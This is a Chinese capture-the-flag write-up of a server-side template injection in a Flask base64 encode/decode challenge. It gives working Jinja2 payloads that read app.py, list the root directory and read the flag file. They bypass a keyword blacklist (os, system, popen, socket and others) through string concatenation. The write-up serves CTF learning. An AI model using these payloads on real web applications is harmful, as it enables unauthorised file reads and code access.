进来首页是一个简单的base64加密
然后左上角有提示
加密页面估计是出不了什么错,解密的时候才会有解密不成功的时候
在解密输入123,果然报错
看到有waf
试试有没有ssti,在加密的地方输入
{{7*7}}
加密得到
e3s3Kjd9fQ==
然后去解密,得到
no no no !!
看来是waf拦截了
换成+号试试
{{7+7}}
加密
e3s3Kzd9fQ==
解密得到14
说明存在ssti
读一下app.py的源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
拿出相对重要的一部分
def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
可以看到我们第一次尝试的7*7中的*果然被过滤了
我们可以利用字符串拼接,来绕过黑名单
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
得到
读取this_is_the_flag.txt
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}
得到flag